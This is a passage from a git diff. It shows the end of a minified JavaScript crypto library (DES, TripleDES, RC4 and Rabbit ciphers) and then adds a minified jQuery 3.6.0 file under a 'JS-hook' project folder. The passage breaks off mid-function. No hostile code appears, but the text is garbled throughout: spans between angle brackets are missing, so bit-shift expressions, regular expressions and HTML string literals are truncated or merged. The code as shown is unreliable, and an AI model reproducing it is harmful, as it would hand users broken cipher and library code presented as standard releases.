2058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],u=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],n=e.DES=r.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=h[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],o=0;o<16;o++){for(var s=n[o]=[],c=f[o],r=0;r<24;r++)s[r/6|0]|=e[(l[r]-1+c)%28]<<31-r%6,s[4+(r/6|0)]|=e[28+(l[r+24]-1+c)%28]<<31-r%6;s[0]=s[0]<<1|s[0]>>>31;for(r=1;r<7;r++)s[r]=s[r]>>>4*(r-1)+3;s[7]=s[7]<<5|s[7]>>>27}for(var a=this._invSubKeys=[],r=0;r<16;r++)a[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],p.call(this,4,252645135),p.call(this,16,65535),_.call(this,2,858993459),_.call(this,8,16711935),p.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,a=0;a<8;a++)c|=d[a][((s^n[a])&u[a])>>>0];this._lBlock=s,this._rBlock=o^c}var h=this._lBlock;this._lBlock=this._rBlock,this._rBlock=h,p.call(this,1,1431655765),_.call(this,8,16711935),_.call(this,2,858993459),p.call(this,16,65535),p.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function p(t,e){e=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=e,this._lBlock^=e<>>t^this._lBlock)&e;this._lBlock^=e,this._rBlock^=e<192.");var e=t.slice(0,2),r=t.length<4?t.slice(0,2):t.slice(2,4),t=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=n.createEncryptor(i.create(e)),this._des2=n.createEncryptor(i.create(r)),this._des3=n.createEncryptor(i.create(t))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=r._createHelper(e)}(),function(){var t=U,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;for(var n=0,o=0;n<256;n++){var s=n%r,s=e[s>>>2]>>>24-s%4*8&255,o=(o+i[n]+s)%256,s=i[n];i[n]=i[o],i[o]=s}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){var r=(r+t[e=(e+1)%256])%256,o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);r=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);for(var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],r=this._b=0;r<4;r++)N.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],e=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),o=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),s=e>>>16|4294901760&o,c=o<<16|65535&e;n[0]^=e,n[1]^=s,n[2]^=o,n[3]^=c,n[4]^=e,n[5]^=s,n[6]^=o,n[7]^=c;for(r=0;r<4;r++)N.call(this)}},_doProcessBlock:function(t,e){var r=this._X;N.call(this),D[0]=r[0]^r[5]>>>16^r[3]<<16,D[1]=r[2]^r[7]>>>16^r[5]<<16,D[2]=r[4]^r[1]>>>16^r[7]<<16,D[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)D[i]=16711935&(D[i]<<8|D[i]>>>24)|4278255360&(D[i]<<24|D[i]>>>8),t[e+i]^=D[i]},blockSize:4,ivSize:2}),M.Rabbit=F._createHelper(P),F=(M=U).lib.StreamCipher,P=M.algo,W=[],O=[],I=[],P=P.RabbitLegacy=F.extend({_doReset:function(){for(var t=this._key.words,e=this.cfg.iv,r=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)q.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],t=o[1],e=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),o=16711935&(t<<8|t>>>24)|4278255360&(t<<24|t>>>8),s=e>>>16|4294901760&o,t=o<<16|65535&e;i[0]^=e,i[1]^=s,i[2]^=o,i[3]^=t,i[4]^=e,i[5]^=s,i[6]^=o,i[7]^=t;for(n=0;n<4;n++)q.call(this)}},_doProcessBlock:function(t,e){var r=this._X;q.call(this),W[0]=r[0]^r[5]>>>16^r[3]<<16,W[1]=r[2]^r[7]>>>16^r[5]<<16,W[2]=r[4]^r[1]>>>16^r[7]<<16,W[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)W[i]=16711935&(W[i]<<8|W[i]>>>24)|4278255360&(W[i]<<24|W[i]>>>8),t[e+i]^=W[i]},blockSize:4,ivSize:2}),M.RabbitLegacy=F._createHelper(P),U}); \ No newline at end of file diff --git a/JS-hook/public/libs/jquery-3.6.0.min.js b/JS-hook/public/libs/jquery-3.6.0.min.js new file mode 100644 index 0000000..200b54e --- /dev/null +++ b/JS-hook/public/libs/jquery-3.6.0.min.js @@ -0,0 +1,2 @@ +/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */ +!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",y.option=!!ce.lastChild;var ge={thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var _t,zt=[],Ut=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=zt.pop()||S.expando+"_"+wt.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Ut.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ut.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Ut,"$1"+r):!1!==e.jsonp&&(e.url+=(Tt.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,zt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((_t=E.implementation.createHTMLDocument("").body).innerHTML="

",2===_t.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var 